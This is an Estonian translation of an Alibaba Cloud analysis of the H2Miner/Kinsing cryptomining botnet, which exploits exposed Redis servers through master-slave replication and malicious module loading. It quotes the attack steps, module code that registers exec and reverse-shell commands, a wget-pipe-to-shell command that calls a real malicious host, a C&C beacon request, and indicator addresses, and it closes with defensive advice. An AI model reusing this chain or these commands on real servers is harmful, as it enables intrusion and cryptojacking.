Eile ründas üks minu projekti serveritest sarnane uss. Otsides vastust küsimusele "mis see oli?", leidsin Alibaba Cloud Security meeskonna suurepärase artikli. Kuna ma ei leidnud seda artiklit Habras, otsustasin selle teie jaoks spetsiaalselt tõlkida <3
Sissejuhatus
Hiljuti avastas Alibaba Cloudi turvameeskond äkilise H2Mineri puhanguga. See tüüpi pahavara kasutab autentimise puudumist või nõrgad paroolid Redis'e jaoks sissepääsuna teie süsteemidesse, seejärel sünkroniseerib omaenda pahavara mooduli slave'i kaudu master-slave sünkroniseerimise ja lõpuks laeb selle pahavara mooduli rünnatavale masinale ja käivitab pahatahtlikud käsud.
A varem, rünnakud teie süsteemidele toimusid peamiselt meetodi kaudu, mis hõlmas ajastatud ülesandeid või SSH-võtmeid, mis salvestati teie masinasse pärast sissetungija sisenemist Redis'e. Õnneks ei õnnestu seda meetodit sageli kasutada, kuna probleemid õiguste kontrollimisega või erinevad süsteemiversioonid. Siiski võib see pahavara laadimise meetod otse käivitada ründaja käske või pääseda käsuviibale, mis on teie süsteemi jaoks ohtlik.
Kuna palju serverite Redis'e, mis on internetis (peaaegu 1 miljon), Alibaba Cloudi turvameeskond soovitab kasutajatel mitte anda pääsu Redis'e-le võrgust ning regulaarselt kontrollida oma paroolide usaldusväärsust ja veenduda, et need pole alti kasutusele võetud.
H2Miner
H2Miner — see on Linux-põhine kaevandamis-botnet, mis suudab teie süsteemi tungida mitmel viisil, sealhulgas autoriseerimise puudumine Hadoop yarn'is, Dockeris ja kaugkäivitamise haavatavus Redis (RCE). Botnet töötab, laadides alla pahavara ja kaevandamisprogramme, et kaevandada teie andmeid, laiendada rünnakut ning säilitada käskluse ja kontrolli (C&C) ühendust.
Redis RCE
Selle teema teadmisi jagas Pavel Toporkov ZeroNights 2018-l. Pärast versiooni 4.0 toetab Redis välist mootorite laadimise funktsiooni, mis annab kasutajatele võimaluse laadida Redis'sse C-ga kompileeritud failide so, et täita teatud Redis'i käske. See funktsioon, kuigi kasulik, sisaldab haavatavust, kus modemaster-slave režiimis võivad failid sünkroonida slave'i kaudu fullresync režiimis. Seda saavad ründajad kasutada pahatahtlike so-failide edastamiseks. Edastamise lõpetamisel laadivad kurjategijad mooduli rünnatud Redis'i eksemplarile ja täidavad mis tahes käsu.
Pahavara ussi analüüs
Hiljuti avastas Alibaba Cloudi turvameeskond, et H2Mineri pahatahtlike kaevandajate rühm on järsku märgatavalt kasvanud. Analüüside kohaselt näeb rünnaku tekkimise protsess välja järgmine:

H2Miner kasutab RCE Redisit täielikuks rünnakuks. Esiteks ründavad kurjategijad kaitsetud Redis servereid või servereid, millel on nõrgad paroolid.
Seejärel kasutavad nad käsku config set dbfilename red2.so faili nime muutmiseks. Pärast seda täidavad ründajad käsku slaveof master-slave replikatsiooni hosti aadressi seadmiseks.
Kui ründetgev Redis eksemplar seab master-slave ühenduse pahatahtliku Redisiga, mis kuulub kurjategijale, saadab ründaja nakatunud mooduli failide sünkroniseerimiseks käsku fullresync. Seejärel laaditakse fail red2.so rünnatud masinasse. Pärast seda kasutavad kurjategijad laadimisnuppu ./red2.so, et laadida see so-fail. Moodul võib täita kurjategija käske või algatada tagasivoolu (tagauks), et pääseda rünnatud masinasse.
if (RedisModule_CreateCommand(ctx, "system.exec",
DoCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
if (RedisModule_CreateCommand(ctx, "system.rev",
RevShellCommand, "readonly", 1, 1, 1) == REDISMODULE_ERR)
return REDISMODULE_ERR;
Pärast pahatahtliku käsu täitmist, nagu / bin / sh -c wget -q -O-http://195.3.146.118/unk.sh | sh> / dev / null 2> & 1, ründaja kustutab varukoopia faili nime ja laadib süsteemimooduli välja, et eemaldada jäljed. Siiski jääb fail red2.so rünnatud masinasse alles. Kasutajatele soovitatakse pöörata tähelepanu selliste kahtlaste failide olemasolule oma Redis'i instantsi kataloogis.
Lisaks mõningate pahatahtlike protsesside hävitamisele ressursivarguse eesmärgil järgnes ründaja pahatahtlikule skriptile, laadides ja käivitades binaarsed pahavara failid, et . See tähendab, et protsessi nimi või katalooge nimi, mis sisaldab kinsing'i hostis, võib viidata sellele, et see masin on olnud selle viiruse poolt nakatunud.
Pöördprojekteerimise tulemuste kohaselt täidab pahavara peamiselt järgmisi funktsioone:
- Failide allalaadimine ja nende käitamine
- Krüptimine
- C&C-ga ühenduse hoidmine ja ründaja käskude täitmine

Kasutage masscan'i väliskannimiseks, et laiendada oma haaret. Samuti on C&C serveri IP-aadress programmis tugevalt krüpteeritud ning rünnaku sihthost suhtleb C&C side serveriga HTTP päringute kaudu, kus zombi (rünnatud serveri) teave tuvastatakse HTTP päises.

GET /h HTTP/1.1
Host: 91.215.169.111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, nagu Gecko) Chrome/78.0.3904.108 Safari/537.36
Arch: amd64
Cores: 2
Mem: 3944
Os: linux
Osname: debian
Osversion: 10.0
Root: false
S: k
Uuid: xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxx
Version: 26
Accept-Encoding: gzip
Muud rünnaku meetodid

Aadressid ja lingid, mida ussit kasutab
/kinsing
• 142.44.191.122/t.sh
• 185.92.74.42/h.sh
• 142.44.191.122/spr.sh
• 142.44.191.122/spre.sh
• 195.3.146.118/unk.sh
c&c
• 45.10.88.102
• 91.215.169.111
• 139.99.50.255
• 46.243.253.167
• 195.123.220.193
Nõuanne
Esiteks ei tohi Redis olla avatud Interneti juurdepääsuks ning see peab olema kaitstud usaldusväärse parooliga. Samuti on oluline, et kliendid kontrolliksid, et Redis kataloogis ei oleks faili red2.so ning et hostis ei oleks 'kinsing' failinimes/protsessis.
Allikas: habr.com
